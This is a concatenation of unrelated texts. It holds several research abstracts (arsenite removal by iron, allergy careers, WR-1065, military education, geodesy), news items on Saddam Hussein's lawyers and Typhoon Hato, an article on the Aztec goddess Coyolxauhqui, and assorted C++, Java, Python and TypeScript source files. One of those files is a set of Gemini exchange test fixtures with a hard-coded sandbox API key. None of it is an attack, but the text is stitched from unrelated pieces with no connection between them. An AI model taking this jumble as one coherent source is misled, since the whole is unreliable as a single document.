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Combined Effect of Weak Magnetic Fields and Anions on Arsenite Sequestration by Zerovalent Iron: Kinetics and Mechanisms. In this study, the effects of major anions (e.g., ClO4-, NO3-, Cl-, and SO42-) in water on the reactivity of zerovalent iron (ZVI) toward As(III) sequestration were evaluated with and without a weak magnetic field (WMF). Without WMF, ClO4- and NO3- had negligible influence on As(III) removal by ZVI, but Cl- and SO42- could improve As(III) sequestration by ZVI. Moreover, the WMF-enhancing effect on As(III) removal by ZVI was minor in ultrapure water. A synergetic effect of WMF and individual anion on improving As(III) removal by ZVI was observed for each of the investigated anion, which became more pronounced as the concentration of anion increased. Based on the extent of enhancing effects, these anions were ranked in the order of SO42- > Cl- > NO3- ≈ ClO4- (from most- to least-enhanced). Furthermore, the inhibitory effect of HSiO3-, HCO3-, and H2PO4- on ZVI corrosion could be alleviated taking advantage of the combined effect of WMF and SO42-. The coupled influence of anions and WMF was associated with the simultaneous movement of anions with paramagnetic Fe2+ to keep local electroneutrality in solution. Our findings suggest that the presence of anions is quite essential to maintaining or stimulating the WMF effect. |
<reponame>armandmgt/datMorpion<gh_stars>0
//
// Created by armandmgt on 9/6/18.
//
#include <iostream>
#include "MyWindow.hpp"
MyWindow::MyWindow(unsigned int w, unsigned int h) : sf::RenderWindow(sf::VideoMode{w, h, 32}, "Dat Morpion", sf::Style::Close) {
setFramerateLimit(60);
}
void MyWindow::run() {
Player turn{Player::CIRCLE};
while (isOpen()) {
sf::Event evt{};
while (pollEvent(evt)) {
switch (evt.type) {
case sf::Event::EventType::KeyPressed:
if (sf::Keyboard::isKeyPressed(sf::Keyboard::Escape))
close();
break;
case sf::Event::EventType::MouseButtonPressed:
handleClick(turn);
default:
break;
}
}
drawContent();
display();
}
}
void MyWindow::handleClick(Player &turn) {
auto mousePos = sf::Mouse::getPosition(*this);
std::cout << mousePos.x << " " << mousePos.y << std::endl;
if (gb.at(mousePos.x / cellLength, mousePos.y / cellLength).setCell(turn))
turn = turn == Player::CIRCLE ? Player::CROSS : Player::CIRCLE;
}
void MyWindow::drawBoard() {
sf::RectangleShape vertLine{{2, 800}};
sf::RectangleShape horLine{{800, 2}};
vertLine.setFillColor(sf::Color::White);
horLine.setFillColor(sf::Color::White);
for (auto i = 1; i < 3; i++) {
for (auto j = 1; j < 3; j++) {
vertLine.setPosition({i * 800.f / 3.f, 0});
horLine.setPosition({0, j * 800.f / 3.f});
draw(vertLine);
draw(horLine);
}
}
}
void MyWindow::drawCircle(const unsigned int x, const unsigned int y)
{
constexpr auto radius = cellLength / 2.f - 40;
sf::CircleShape circle{radius};
circle.setOrigin({radius, radius});
circle.setOutlineColor(sf::Color::White);
circle.setFillColor(sf::Color::Black);
circle.setOutlineThickness(10);
circle.setPosition({x * cellLength + cellLength / 2, y * cellLength + cellLength / 2});
draw(circle);
}
void MyWindow::drawCross(const unsigned int x, const unsigned int y)
{
constexpr auto barLength = cellLength - 40;
sf::RectangleShape bar{{10, barLength}};
bar.setFillColor(sf::Color::White);
bar.setOrigin(5, barLength / 2.f);
bar.setPosition({x * cellLength + cellLength / 2, y * cellLength + cellLength / 2});
bar.setRotation(45);
draw(bar);
bar.setRotation(-45);
draw(bar);
}
void MyWindow::drawContent()
{
drawBoard();
std::for_each(gb.begin(), gb.end(), [this](const Cell &cell) {
if (cell.getCell() == Player::CIRCLE)
drawCircle(cell.x, cell.y);
else if (cell.getCell() == Player::CROSS)
drawCross(cell.x, cell.y);
});
}
|
package org.highj.data.transformer.list;
import java.util.function.Function;
import org.derive4j.hkt.__;
import org.highj.data.transformer.ListT;
import org.highj.typeclass1.monad.Bind;
import org.highj.typeclass1.monad.Monad;
import static org.highj.Hkt.asListT;
public interface ListTBind<M> extends ListTApply<M>, Bind<__<ListT.µ, M>> {
@Override
Monad<M> get();
@Override
default <A, B> ListT<M, B> bind(__<__<ListT.µ, M>, A> nestedA, Function<A, __<__<ListT.µ, M>, B>> fn) {
return asListT(nestedA).stepMap(get(),
stepYield -> ListT.skip(stepYield.mapTail(s ->
ListT.concat(get(),
asListT(fn.apply(stepYield.head())),
bind(s, fn)))),
stepSkip -> ListT.skip(stepSkip.mapTail(s -> bind(s, fn))),
() -> ListT.done());
}
}
|
import pytest
from rotkehlchen.exchanges.gemini import Gemini
from rotkehlchen.tests.utils.exchanges import create_test_gemini
SANDBOX_GEMINI_API_KEY = 'account-1eIn3XjiCdSZH2jizoNg'
SANDBOX_GEMINI_API_SECRET = b'<KEY>'
# Key with wrong permissions (Trader instead of auditor)
SANDBOX_GEMINI_WP_API_KEY = '<KEY>'
SANDBOX_GEMINI_WP_API_SECRET = b'<KEY>'
@pytest.fixture
def mock_gemini(
database,
inquirer, # pylint: disable=unused-argument
function_scope_messages_aggregator,
base_uri,
):
gemini = create_test_gemini(
api_key='<KEY>',
api_secret=b'<KEY>',
database=database,
msg_aggregator=function_scope_messages_aggregator,
base_uri=base_uri,
)
gemini.first_connection_made = True
return gemini
@pytest.fixture
def gemini_sandbox_api_key():
return SANDBOX_GEMINI_API_KEY
@pytest.fixture
def gemini_sandbox_api_secret():
return SANDBOX_GEMINI_API_SECRET
@pytest.fixture
def gemini_test_base_uri():
return 'https://api.sandbox.gemini.com'
@pytest.fixture
def sandbox_gemini(
database,
inquirer, # pylint: disable=unused-argument
function_scope_messages_aggregator,
gemini_sandbox_api_key,
gemini_sandbox_api_secret,
gemini_test_base_uri,
):
gemini = Gemini(
api_key=gemini_sandbox_api_key,
secret=gemini_sandbox_api_secret,
database=database,
msg_aggregator=function_scope_messages_aggregator,
base_uri=gemini_test_base_uri,
)
return gemini
|
export class Survey {
constructor(public id: number,
public fullname: string,
public attendanceConfirmation: boolean,
public city: string,
public email: string,
public meanOfTransportation: string,
public travelAlone : boolean,
public departureDate: string,
public arrivalDate: string
) {
}
}
|
The Jordan Bar Association (JBA) is demanding former Iraqi leader Saddam Hussein be released from detention and that US and UK occupiers face war crimes charges.
In a Wednesday letter to the Geneva-based International Committee of the Red Cross (ICRC), the JBA said the invasion of Iraq without UN approval put the US and UK on the wrong side of international law.
"The officials of the invasion forces, regardless of rank, are considered war criminals and their crime is considered an act of international terrorism," said the letter calling for them to be tracked down, arrested and tried.
"It is the right and duty of the Iraqi forces, people and leader to resist and arrest the invasion forces, and their actions would be considered legitimate and embody a legitimate defence of self and country."
"It is up to all countries to work together to resist the international terrorism carried out by the United States, Britain and their followers," the lawyers' letter said.
Hussein Mjalli Chairman of the Jordan Bar Association told Aljazeera.net that he has completed legal procedures required to defend Saddam Hussein.
"President Saddam's two daughters have been living in Jordan for months, and we have got their formal authorisation to defend their father in court" Mjalli said.
"Being classified as a POW is a major move forward, because it will help us to ask for Saddam Hussein's rights as a POW"
Although, Jordan's government is a key Arab ally of the US, the Jordan Bar Association has been planning to set up a legal committee to defend Saddam Hussein, who was arrested near Tikirit in central Iraq last month.
The United States last week formally declared Saddam Hussein an enemy prisoner of war, which entitles him to all the rights enshrined in the Geneva Convention. A top US official has since said the United States reserves the right to change his status.
An ICRC spokesperson Nada Doumani told Aljazeera.net that the Committee is satisfied with the prisoner of war status for Saddam Hussein.
But Doumani confirmed that the US does have the right to change Saddam Hussein's detained status.
"It is possible under certain circumstances, the Geneva Conventions do not stipulate that it's not allowed to change the status of a prisoner of war."
"Being classified as a POW is a major move forward, because it will help us to ask for Saddam Hussein's rights as a POW," Doumani said.
Responding to a question about whether they received a no-objection letter from US authorities to visit Saddam Hussein, Doumani added: "we sent a letter to the US officials asking that, but we have not received the answer yet. I am sure the answer will be a positive one, but it is a matter of time". |
<gh_stars>1-10
package Interfaces;
import java.util.ArrayList;
import java.util.Optional;
/**
* @author <NAME> - veni, vidi, vici.
* Esta clase representa el contexto
* de trabajo de una neurona simple. Entiendace por contexto de trabajo,
* las operaciones matematicas que se llevan acabo en la neurona.
*/
public interface Context
{
public abstract ArrayList<Double> weights();// @return, Todos los pesos que contiene la neurona.
public abstract void setWeights(ArrayList<Double> values);// @param values, Los pesos que se desea asignar como
// nuevos en la neurona.
public abstract double u();// @return, El umbral asociado a la neurona
public abstract void setU(double value);// @param value, El nuevo umbral que se desea asignar.
public Optional<Double> out();// @return, Un optional que contiene la salida de la neurona si existe.
public void setOut(double value);// @param value, El valor que sera la nueva salida de la nuerona
/**
* Converger una neurona del sistema implica recuperar las entradas y pesos
* asociados a esa neurona y multiplicarlos para posteriormente aplicar la
* funcion sigmoide.
*
* @param connections,
* Representa los pesos entrantes a la neurona.
* @param inputs,
* Representa las salidas de la capa anterior, que son las entradas
* en esta neuron.
*/
public default void converge(ArrayList<Double> connections, ArrayList<Double> inputs)
{
var value = 0.0;
for (var n = 0; n < connections.size(); n++)// Multiplicamos los pesos por la entradas de la neurona.
value += connections.get(n) * inputs.get(n);
value += u();
setOut(1 / (1 + Math.exp(-value)));// Aplicamos la funcion Sigmoide para la salida.
}
/**
*
* @return La salida binaria de la neurona.
*/
public default int function()
{
return (out().orElse((double) 0.0) > 0.5) ? 1 : 0;
}
/**
*
* @param index
* es la posicion de la cual se desea recuperar el peso
* @return un optional que contiene el peso si existe en la neurona.
*/
public default Optional<Double> getWeight(int index)
{
return Optional.ofNullable(weights().get(index));
}
}
|
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
import java.math.*;
import java.util.*;
/**
*
* @author Shubhashis
*/
class function
{
Scanner sc = new Scanner(System.in);
static int b,n;
static boolean[][] visited= new boolean[104][4];
static BigInteger[][] dp=new BigInteger[104][4];
void begin()
{
while(sc.hasNext())
{
b=sc.nextInt();
n=sc.nextInt();
if(b==0 && n==0) break;
for(int i=0;i<102;i++)
{
for(int j=0;j<3;j++)
{
visited[i][j]=false;
}
}
System.out.println(call(0,0));
}
}
static BigInteger call(int in, int one)
{
if(in>=n) return BigInteger.ONE;
if(visited[in][one]==true) return dp[in][one];
BigInteger ansBigInteger=BigInteger.ZERO;
int mn = Math.min(b, 4);
for(int i=0;i<mn;i++)
{
if(in==0 && i==0) continue;
if(one==1 && i==3) continue;
if(i==1) ansBigInteger = ansBigInteger.add(call(in+1, 1));
else ansBigInteger = ansBigInteger.add(call(in+1,0));
}
BigInteger four = call(in+1, 0);
int baki=b-mn;
BigInteger ans = BigInteger.valueOf(baki).multiply(four);
ansBigInteger = ansBigInteger.add(ans);
visited[in][one]=true;
return dp[in][one]=ansBigInteger;
}
}
public class Main {
public Main() {
}
public static void main(String[] args) {
function my=new function();
my.begin();
}
}
|
At least 9 people have been killed following Typhoon Hato after a storm that left a trail of destruction across southern China, and battered Hong Kong's skyscrapers.
Winds of more than 200km/h smashed into apartments across Macau, breaking doors and sending sheets of glass flying through the air.
Rescuers have searched submerged cars for trapped people in the former Portuguese territory, while emergency services scrambled to respond to crisis calls.
Fong Soi-kun, the director of Macau's Meteorological and Geophysical Bureau has resigned following the storm.
Macau's government broadcaster TDM said Typhoon Hato was the strongest to hit the world's biggest gambling centre since 1968.
Some casinos shut down while others were relying on back-up generators.
One civil servant said: "The city looks like it was just in a war."
More than 120 people were injured as the city was lashed by hurricane winds and pounding rain.
Transportation remains in chaos, with damage to both of Macau's ferry terminals and roads crammed with traffic, and schools, museums and public venues remain closed.
Hato has since been downgraded to a tropical storm, and is about 680 km west of Hong Kong. It is expected to weaken further as it moves inland over China.
Hato hit Hong Kong yesterday, uprooting trees, flooding streets, forcing hundreds of flights to be cancelled and halting financial trading.
There were reports of 34 people injured in Hong Kong, which had not been hit by as strong a typhoon for five years.
In the neighbouring southern Chinese province of Guangdong, at least four people died and around 27,000 were evacuated to temporary shelters, the official Xinhua news agency said.
Nearly two million households were briefly without power.
In Zhuhai, which borders Macau, about 275 homes had collapsed, with the typhoon causing an estimated 5.5 billion yuan (€700m) in damage, according to the state-run Beijing News.
The city saw its strongest storm in 1962 when the eye of Typhoon Wanda passed over and gusts of 284km/h were recorded. |
Allergy trainees perspectives on career opportunities: results from a traineeorganized retreat Modern biomedical research has reached a paradox. The potential for scientific breakthroughs is unprecedented, and its importance to society is substantial. Yet, the pursuit of an academic career is increasingly difficult. Only a minor portion of those who finish their PhD studies will remain in academia; fewer yet will become principal investigators or get tenure (13). The mean age of allergists/immunologists has increased in recent decades, and a global call has been made for increased allergy services. Despite this, career opportunities are highly competitive, leaving biomedical research graduates described as being a generation at risk. In the field of allergy, this paradox is particularly troubling. The prevalence of food allergy (79), including anaphylaxis-related hospitalizations, as well as allergic rhinoconjunctivitis and eczema has increased dramatically in recent decades. Although the prevalence of asthma appears to have stabilized or may be slightly decreasing, it nonetheless remains at an all-time high worldwide. Karolinska Institutet in Stockholm, Sweden, is ranked in the top 15 preclinical, clinical and health universities in the world, and around 400 PhD degrees are awarded annually. This ranking takes into account a wide range of specialties, including allergy. Yet, allergy trainees at Karolinska Institutet have substantial concerns about available opportunities following their training. To this end, and to enhance the understanding of career-related concerns of allergic disease research trainees, and to expose trainees to potential career opportunities following their training, Karolinska Institutets Centre for Allergy Research (CfA) PhD Student and Post-Doc Network held its first retreat in January 2015. This retreat was organized by trainees and aimed to expose PhD students and postdocs to career opportunities within or outside of academia following their training. Herein, we describe the planning and programme of the retreat and summarize participants feedback. |
DO FUNCTIONAL BOWEL SYMPTOMS AFFECT SEXUAL FUNCTION IN AN ADULT FEMALE COHORT Study design, materials and methods A convenience sample of female patients presenting to a single tertiary healthcare center for Hydrogen Breath Testing (HBT), a common diagnostic study for patients with FGI symptoms, were recruited. Subjects completed an anonymous electronic survey through the Qualtrics Survey Software system. The survey included basic demographics along with a battery of validated questionnaires associated with FGI symptoms, anxiety, depression, self-esteem, and sexual function and sexuality. Sexual dysfunction was defined as a total score less than 26 on the Female Sexual Function Index (FSFI).; additionally, the FSFI is subdivided into six sexual domains, desire, arousal, lubrication, orgasm, satisfaction, and pain, where a lower score equates to dysfunction. Analysis included a multiple linear regression analysis, non-parametric Mann Whitney U-Test, and a Pearson chisquare test. A p-value ≤ 0.05 was considered to be significant. |
Relationships between cytoprotection and mutation prevention by WR-1065. WR-2721, the leading compound that has emerged from the U.S. Army's Drug Synthesis and Development Program, has become the first clinically used cytoprotector in cancer therapy. The ability of its active thiol, WR-1065, to act as an antioxidant to scavenge free radicals, donate hydrogen atoms, and induce auto-oxidation is related to its cytoprotective effectiveness. However, at concentrations 10 to 20 times lower than those required for cytoprotection, this nonprotein thiol also affects gene expression, transcription factor binding, protein phosphorylation levels, and mutagenesis. For example, WR-1065 treatment activates binding of the redox-sensitive transcription factor NF-kappa B to DNA and affects expression of a number of genes, including thymidine kinase, c-myc, and manganese superoxide dismutase. At these lower drug concentrations, phosphorylation levels and subsequent activities on intracellular enzymes are also inhibited. These observations suggest that the mechanisms of action of WR-2721 and its metabolites to protect against cell killing are different from those that protect against mutagenesis and cancer formation. The ability to affect these postexposure processes makes WR-2721 an important agent in the reduction of the carcinogenic risks of environmental exposure to radiation or deleterious chemicals. |
More than a mere footnote: the department of military studies, University of Sydney, 1907-1915 ABSTRACT The Department of Military Studies at the University of Sydney ran courses from 1907 to 1915. The manner in which it functioned and the role it played is not widely understood, in particular how it was integrated with the Commonwealth Military Forces. Within the history of the development of the Australian military it is usually treated as a footnote before the arrival of Royal Military College Duntroon, and discarded as having limited impact. This article challenges that assumption, demonstrating how significant the Departments influence was within the Commonwealth Military Forces as an early example of integration between tertiary education and professional military education, while also situating the Department within the context of wider British Empire officer education. |
<reponame>vintmd/cos-java-sdk-v5
package com.qcloud.cos.model.ciModel.job;
import com.qcloud.cos.internal.CIServiceRequest;
import com.qcloud.cos.model.ciModel.common.MediaInputObject;
import java.io.Serializable;
/**
* 媒体处理 任务请求实体 https://cloud.tencent.com/document/product/460/48234
*/
public class MediaJobsRequest extends CIServiceRequest implements Serializable {
/**
* bucket名称
*/
private String bucketName;
/**
* 任务的队列id
*/
private String queueId;
/**
* 任务类型
*/
private String tag;
/**
* 时间顺序
*/
private String orderByTime;
/**
* 下一个token
*/
private String nextToken;
/**
* 查询数量 默认为十个
*/
private Integer size = 10;
/**
* 任务状态
*/
private String states;
/**
* 开始时间
*/
private String startCreationTime;
/**
* 结束时间
*/
private String endCreationTime;
/**
* 任务id
*/
private String jobId;
/**
* 输入对象
*/
private MediaInputObject input;
/**
* 媒体操作对象
*/
private MediaJobOperation operation;
public String getBucketName() {
return bucketName;
}
public void setBucketName(String bucketName) {
this.bucketName = bucketName;
}
public String getQueueId() {
return queueId;
}
public void setQueueId(String queueId) {
this.queueId = queueId;
}
public String getTag() {
return tag;
}
public void setTag(String tag) {
this.tag = tag;
}
public String getOrderByTime() {
return orderByTime;
}
public void setOrderByTime(String orderByTime) {
this.orderByTime = orderByTime;
}
public String getNextToken() {
return nextToken;
}
public void setNextToken(String nextToken) {
this.nextToken = nextToken;
}
public Integer getSize() {
return size;
}
public void setSize(Integer size) {
this.size = size;
}
public String getStates() {
return states;
}
public void setStates(String states) {
this.states = states;
}
public String getStartCreationTime() {
return startCreationTime;
}
public void setStartCreationTime(String startCreationTime) {
this.startCreationTime = startCreationTime;
}
public String getEndCreationTime() {
return endCreationTime;
}
public void setEndCreationTime(String endCreationTime) {
this.endCreationTime = endCreationTime;
}
public String getJobId() {
return jobId;
}
public void setJobId(String jobId) {
this.jobId = jobId;
}
public MediaInputObject getInput() {
if (input == null) {
input = new MediaInputObject();
}
return input;
}
public void setInput(MediaInputObject input) {
this.input = input;
}
public MediaJobOperation getOperation() {
if (operation == null) {
operation = new MediaJobOperation();
}
return operation;
}
public void setOperation(MediaJobOperation operation) {
this.operation = operation;
}
@Override
public String toString() {
return "MediaJobsRequest{" +
"bucketName='" + bucketName + '\'' +
", queueId='" + queueId + '\'' +
", tag='" + tag + '\'' +
", orderByTime='" + orderByTime + '\'' +
", nextToken='" + nextToken + '\'' +
", size=" + size +
", states='" + states + '\'' +
", startCreationTime='" + startCreationTime + '\'' +
", endCreationTime='" + endCreationTime + '\'' +
", jobId='" + jobId + '\'' +
", input=" + input +
'}';
}
}
|
Coyolxauhqui (pron. Koy-ol-shauw-kee) was the Aztec goddess of the Moon or Milky Way who was famously butchered by her brother Huitzilopochtli, the god of war, in Aztec mythology. This story was commemorated in a celebrated large relief stone found at the foot of the pyramid of sacrifices, the Templo Mayor at the Aztec capital Tenochtitlan.
Coyolxauhqui vs. Huitzilopochtli
Coyolxauhqui, whose name signifies 'Painted with Bells', was considered either the sister or mother of Huitzilopochtli, the Aztec god of war and patron of Tenochtitlan. In the first version of this mythical duel, Coyolxauhqui upset her son Huitzilopochtli when she insisted on staying at the legendary sacred mountain Coatepec ('Snake Mountain', also spelt Coatepetl) and not following Huitzilopochtli’s plan to re-settle at a new site – the eventual Tenochtitlan. The god of war got his own way by decapitating and eating the heart of Coyolxauhqui, after which he led the Aztecs to their new home.
In the second version of this family strife, rebellious Coyolxauhqui led her 400 brothers, known as the Centzon Huitznaua (the 'Four Hundred Huiztnaua' who represented the stars of the southern sky), in a bid to kill her mother, the goddess Coatlicue. The pretext for this attack had been the news that Coatlicue had become pregnant in somewhat bizarre and dishonourable circumstances. Performing her duties, one day, as a cleaner at the shrine on the top of the sacred mountain Coatepec, a ball of feathers suddenly descended from the heavens and when Coatlicue tucked this into her belt it miraculously impregnated her. The resulting child was none other than the powerful warrior Huitzilopochtli.
Huitzilopochtli chopped up Coyolxauhqui into several large chunks and lobbed the pieces down the sacred Snake Mountain.
Coyolxauhqui’s plot came unstuck, though, when one of the Huiztnaua lost heart and decided to warn the still unborn Huitzilopochtli. Rising to his mother's defence the god sprang from the womb fully-grown and fully-armed as an invincible warrior. In another version, the god springs from his mother's severed neck after Coyolxauhqui had decapitated her. Either way, with his formidable weapon, the xiuhcoatl ('Fire Serpent') which was actually a ray of the sun, the warrior-god swiftly butchered his unruly siblings and, chopping up Coyolxauhqui into several large chunks, he lobbed the pieces down the mountainside. The head of the goddess was tossed into the sky and so became the moon.
This gruesome sibling myth may symbolise the daily victory of the Sun (one of Huitzilpochtli's associations) over the Moon and stars. That is even if the association with the moon has no particular archaeological evidence to support it and some scholars have argued that Coyolxauhqui was, instead, associated with the Milky Way.
The Great Coyolxauhqui Stone
The myth of Coyolxauhqui’s demise at the hands of Huitzilopochtli was commemorated in a large stone disk, known as the Great Coyolxauhqui Stone, which was excavated at the base of the Templo Mayor, Tenochtitlan. It depicts in high relief the dismembered and decapitated corpse of Coyolxauhqui and dates to c. 1473 CE during the reign of Axayacatl. The goddess wears only a warrior’s belt with skull, a headdress with eagle down feathers, and a bell on her cheek. The Templo Mayor pyramid was actually a twin shrine to the rain god Tlaloc and the war god Huitzilopochtli. A double staircase climbed the temple, and the disk was placed, significantly, at the base of the steps leading to Huitzilpochtli’s shrine. It was atop this temple that humans were sacrificed and their bodies dismembered and tossed down the steps to land at the base, just as in the myth on Snake Mountain.
Besides reminding of the importance of Huitzilopochtli, the stone was also a stark warning to the enemies of the Aztecs who saw themselves as the victorious warrior Huitzilopochtli. Defeated warriors led up the steps of the Temple Mayor for the ultimate sacrifice would have been reminded that they were soon to be the equivalent of the defeated Coyolxauhqui.
The 3.4 m (10.5 ft) diameter stone was re-discovered in 1978 CE when workers were excavating the basement of a bookstore in downtown Mexico City. In condensing a three-dimensional scene onto a two-dimensional plain, it is one of the great masterpieces of Aztec art and now resides in the Museo del Templo Mayor in the city in which it was discovered.
Other Representations in Art
Other notable representations of Coyolxauhqui are a fragmentary greenstone (diorite) slab which is older and (along with a stucco sculpture of the goddess) lay beneath the stone disk described previously. This earlier stone shows Huitzilopochtli’s xiuhcoatl weapon piercing the goddess’ chest and probably dates to the reign of Motecuhzoma I (1440-1469 CE).
Another famous representation of Coyolxauhqui is a large greenstone severed head found at Tenochtitlan which was probably carved during the reign of Ahuitzotl (1486-1502 CE). The goddess once again has the golden coyolli bells on each cheek. This head now resides in the Museum of Anthropology in Mexico City. |
Geodesy and modern technologies Currently, a lot of geodetic instruments and new geodetic technologies have been created, which are fundamentally different from traditional ones. In previous years, each type of measurement had its own type of instrument: for the angular measurements, the theodolite, for high-altitude measurements - a level, for linear measurements - a tape measure and rangefinder. Each device, depending on the intended use, had its own accuracy characteristics. Over time, science is developing and technologies are moving forward, the devices used in the field of engineering and geodetic works are improving. A modern geodetic instrument is a product of new technologies that embodies the latest achievements in optics and modern satellite technologies. This article provides a classification of devices according to their purpose and describes their application. Introduction When providing the geodetic support for the construction of the airfield's main elements, the geodesist does the following types of work: updating the location of existing (previously laid) utility services, setting out and monitoring of laid underground structures and utility services' geodetic parameters, clarification of the characteristics of design (laid) utility services, surface layout, as well as reinforcement placement, marking and sawing of the expansion joints, setting out of drainage system, laying of cable ducts, checking the thickness of layers and surface slopes, cable laying and installation of lighting equipment, etc.. Geodetic surveying plays an important role in constructing roads and aerodromes: -Geodetic expertise and surveying allow monitoring the level of subsidence and deformation of roads and other traffic facilities. -Topographic surveying is used to create topographic plans, maps, and to do the necessary calculations. Survey and design The survey and design of automobile roads and aerodromes include a range of works: -Engineering and geodetic surveys, which are necessary for the correct assessment of the area from the viewpoint of topographic relief and of linking the object to the existing infrastructure. -Engineering-geological surveys, the task of which is to examine the engineering-geological conditions of the site, to investigate the physical and mechanical properties of soils, and to make the engineering-geological profiles in order to design the foundations and linear or point objects. -Engineering and hydro-meteorological surveys, which help to assess the hydro-geological conditions of the site, the presence of underground and surface water sources, as well as the meteorological and climatic components of the design area. -Environmental -engineering surveys, which are aimed at reducing the man-made impact on the environment and at forecasting the influence of construction on environmental safety, in order to minimize its harmful effects. -Survey of construction materials and soils, as well as of water supply sources -underground waters. This is a comprehensive laboratory analysis of materials, the identification of their composition and physical-mechanical properties. When analyzing international experience, we may make a conclusion that the quality of surveying directly affects the service life, the quality of the work done, the consumption of materials, etc.. All surveying activities begin with the choice of the most profitable engineering solutions for the construction or reconstruction of the object, from technical, economic and environmental points of view: interference in the economic activity of rural settlements, demolition of residential areas, occupying valuable lands and resort areas, as well as deforestation of roadside hedgerows and forests. First of all, such a survey is a collection of all the data necessary to create a design project and an assessment of the construction investments taken into account in the summary cost estimate. All the work is done in accordance with the established rules of surveying. Modern geodetic equipment Geodetic groups and cartographers, who do engineering and survey work, join in to help, with their latest geodetic equipment, instead of outdated one, and they provide high-quality and efficient performance. At present, the invention of new geodetic equipment is rapidly developing, and due to this it is possible to carry out field observations much faster and more efficiently, with the lowest standard error of the mean (SEM). SEM is minimized. Among these innovations are the following surveying devices: a total station (Figure 1), a GPS antenna and a 3D scanner. This equipment, which has caused a real breakthrough in surveying, is a success, and it is continuing to develop, speeding up the work at the construction site. Geodetic engineers conduct topographic surveying of the relief, in order to create new maps, if there is such a need due to absence of plan maps and archival data. Further, as a rule, all collected information is passed over to the design team, in order to create project data. At the same time, the geological and laboratory survey of soils is carried out, as well as the survey of their physical and mechanical properties. Also at design stage the issue of environmental protection during construction and installation works, with the lowest possible level of hazardous substance exposure, is considered. We may make a conclusion from the above-said that all surveying activities are inextricably linked with geodetic measurements. The latest innovative equipment is actively used in geodesy, and that allows making measurements with millimeter and even fractions of millimeter accuracy. When solving many problems of engineering geodesy, electronic devices, optical precision zenith plummets (ZP) are used. As a rule, they are used at objects associated with increasing the number of stores in large scale development. Precise levels are used for creating unique nuclear energy facilities and other corporate and secret facilities, special technological lines, etc. Also on construction sites total stations, robotized total stations, laser range finders that have substituted light range finders, GLONASS and GPS systems are widely used. Let Us take a closer look at the total station, and at the use of satellite technologies and 3D scanning in engineering geodesy and aero geodesy. The total station is a high-precision and high-quality modern geodetic device that has greatly simplified making geodetic measurements. In fact, the total station consists of the goniometric part, the light range finder and the built-in computer. Thus, using the goniometric part, the horizontal and vertical angles are determined, the light range finder determines the distances, and the built-in computer solves various geodetic tasks, provides device control, management and storage of measurement results. The measurement results can be downloaded into a PC and processed using special programs. Total stations can operate both in reflector mode (the observer takes measurements using special devices-reflectors, prisms, reflecting marks) and in reflectorless mode (the observations are carried out directly on the observed object). There are also robotized total stations, allowing one person to make observations; according to a given program, these devices themselves find the position of the reflector and take measurements. In order to obtain a three-dimensional image of the district space, necessary for creating digital maps, laser scanners are used ( Figure 2). Laser scanners are more complex apparatuses compared to total stations, although they have got similar operation principles. A laser scanner scans the space within a fraction of a second, digitizes the set of characteristics of the real surface, and then presents the result in the three-dimensional coordinate system. Considering the technical side, it can be said that the laser scanner is a device equipped with a reflectorless laser range finder and a system for changing the direction of the laser beam -a special folding mirror. The development of modern technologies for performing field engineering and geodetic works is inextricably linked with global positioning systems (such as the American GPS (NAVSTAR) and the Soviet GLONASS), which are actively used in space geodesy, and this helps to increase labor productivity and improve measurement accuracy. GPS is a global positioning system based on satellites orbiting the earth. Anywhere on the Earth (excluding the Polar Regions) GPS provides, in almost any weather, the data about the speed and location of objects. GLONASS is a world-wide global positioning system that began in the USSR and is based on satellites moving around the Earth along three orbital planes, with an inclination of orbital planes of 64.8 ° and a height of 19,400 km. GLONASS has got a more stable connection than GPS, but the lifetime of a GLONASS satellite is shorter. The disadvantage common for both global positioning systems is that, under certain conditions, the signal may not reach the receiver, also signal distortion and/or delay may occur. For example, it is practically impossible to pin down one's exact location in underground conditions (basement, tunnel) inside a reinforced concrete building, even using professional geodetic receivers. One of the important advantages of GPS over usual survey methods is that we obtain 3D coordinate points. The three-dimensional point position is determined using intersections from artificial satellites of the Earth. GPS receivers are available for any accuracy requirements and for many special kinds of measurements. At present, satellite technologies have made significant progress, and are rapidly replacing traditional geodetic methods for determining coordinate points, line lengths, angles and azimuths. An unmanned aerial vehicle (UAV) -is aircraft controlled remotely, without any crew on board. More and more often, unmanned aerial vehicles are used in construction to fulfill tasks related to geodesy (or cartography), for which aerial photography is required. To determine coordinate points and flight-path speed, modern UAVs, as a rule, use satellite navigation receivers (GPS or GLONASS). The orientation of the apparatus in space is determined by gyroscopes and accelerometers. Conclusion Due to modern geodetic devices, hardware and software, the process of doing engineering and geodetic works is becoming more and more perfect and easy year after year, which makes it possible to fulfill complex geodetic tasks within shorter periods of time. The new technologies introduced into geodetic devices facilitate accurate measurements and, in some cases, eliminate errors made due to human factor. |
<filename>src/main/java/com/ratzlaff/james/arc/earc/obfus/KeyContainer.java<gh_stars>0
/**
*
*/
package com.ratzlaff.james.arc.earc.obfus;
/**
* @author <NAME>
*
*/
interface KeyContainer {
long getParentKey();
long getTransientKey();
long getLengthKey();
long getOffsetKey();
long getMorphingKey();
default int getDeobfuscatedLengthInArchive(int obfuscated) {
return ((int) (getLengthKey() ^ obfuscated));
}
default int getDeobfuscatedSizeOnDisk(int obfuscated) {
return ((int) (getLengthKey() >> 0x20)) ^ obfuscated;
}
default long getDeobfiscatedLengthInArchiveAndSizeOnDisk(long bigEndianLongOfBothValuesReadAtTheSameTime) {
int leftMostBytes = (int) (bigEndianLongOfBothValuesReadAtTheSameTime >> 0x20);
int rightMostBytes = (int) bigEndianLongOfBothValuesReadAtTheSameTime;
long combinedAnswerWithLengthAsTheMSBAndSizeAsTheLSB = getDeobfiscatedLengthInArchiveAndSizeOnDisk(
leftMostBytes, rightMostBytes);
return combinedAnswerWithLengthAsTheMSBAndSizeAsTheLSB;
}
default long getDeobfiscatedLengthInArchiveAndSizeOnDisk(int bytesWithSmallerOffset,
int foruBytesAfterBytesWithSmallerOffset) {
int length =getDeobfuscatedLengthInArchive(foruBytesAfterBytesWithSmallerOffset);
int sizeOnDisk =(getDeobfuscatedSizeOnDisk(bytesWithSmallerOffset));
long reso =(((long)length) << Integer.SIZE) | ((long)(( sizeOnDisk)));
return reso;
}
default long getDeobfuscatedOffset(long obfuscated) {
return getOffsetKey() ^ obfuscated;
}
default long getMajorKey() {
return AbstractKeyContainer.DEFAULT_MAJOR_KEY;
}
default long getMinorKey() {
return AbstractKeyContainer.DEFAULT_MINOR_KEY;
}
}
|
Red kuri squash
